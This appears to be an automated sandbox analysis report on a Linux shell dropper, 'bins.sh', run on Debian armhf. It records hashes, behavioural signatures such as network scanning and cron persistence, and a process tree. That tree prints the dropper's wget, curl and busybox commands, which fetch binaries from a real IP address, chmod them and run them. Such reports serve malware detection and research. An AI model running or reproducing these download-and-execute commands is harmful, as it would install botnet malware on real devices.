Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 14:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7d4915a02bbc4a1ae7b70fed6d3293c1

  • SHA1

    b164b6db9f2e8375942f65d81fdbee4d41650560

  • SHA256

    64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926

  • SHA512

    6830a2ff2527d337e1e6b83939662fb92e363729989c13b85ad949521942da0b5acfade63e558e549f074167b1367ba6ae1d980f9217d63cc670c0d53ed0ce28

  • SSDEEP

    192:jrE/uXvn65QyKeioEWfPDt92igPn12igPnA/WXvn65QjeiojPDv:jrE2Xvn6uymWp92igPn12igPnAeXvn61

Malware Config

Signatures

  • Contacts a large (2066) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Writes file to tmp directory
          PID:667
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Writes file to tmp directory
          PID:692
        • /bin/chmod
          chmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • File and Directory Permissions Modification
          PID:693
        • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          ./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Executes dropped EXE
          PID:694
        • /bin/rm
          rm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Writes file to tmp directory
            PID:697
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:709
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            ./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:727
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:730
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:731
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:732
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:734
                • /bin/rm
                  rm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
                  2⤵
                    PID:741
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                    2⤵
                      PID:745
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                      2⤵
                        PID:748
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        2⤵
                        • Writes file to tmp directory
                        PID:832
                      • /bin/chmod
                        chmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:844
                      • /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        2⤵
                        • Executes dropped EXE
                        PID:845
                      • /bin/rm
                        rm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                        2⤵
                          PID:847
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                          2⤵
                            PID:848
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            2⤵
                            • Checks CPU configuration
                            PID:849
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            2⤵
                            • Writes file to tmp directory
                            PID:850
                          • /bin/chmod
                            chmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            ./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            2⤵
                            • Executes dropped EXE
                            PID:852
                          • /bin/rm
                            rm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                            2⤵
                              PID:853
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                              2⤵
                                PID:854
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                2⤵
                                  PID:856
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:860
                                • /bin/chmod
                                  chmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:865
                                • /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                  ./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                  2⤵
                                  • Executes dropped EXE
                                  PID:870
                                • /bin/rm
                                  rm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                                  2⤵
                                    PID:871
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                    2⤵
                                      PID:873
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                      2⤵
                                      • Checks CPU configuration
                                      PID:875
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:878
                                    • /bin/chmod
                                      chmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:891
                                    • /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                      ./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                      2⤵
                                      • Executes dropped EXE
                                      PID:893
                                    • /bin/rm
                                      rm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                      2⤵
                                        PID:894
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                        2⤵
                                          PID:895
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • Checks CPU configuration
                                          PID:899
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:901
                                        • /bin/chmod
                                          chmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:905
                                        • /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          ./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • Executes dropped EXE
                                          PID:906
                                        • /bin/rm
                                          rm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                            PID:907
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                            2⤵
                                              PID:908

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /var/spool/cron/crontabs/tmp.jYGr3h

                                            Filesize

                                            210B

                                            MD5

                                            b97db158c6de84954f1479638670b16b

                                            SHA1

                                            28c22064f5423a2abc3c20ac7fc14ea6146fa1a6

                                            SHA256

                                            35618cce4c764453c76701daf9ed6fd3d9975e5f07f22cf4cdcd04eb02411873

                                            SHA512

                                            782659a34510960fa94e50183ce25aa5d1d68a4fb945364df3d77148ec62cba2230ae9b4e4317e2ed91282e2ff2773d866412680394178b689179c267a96b667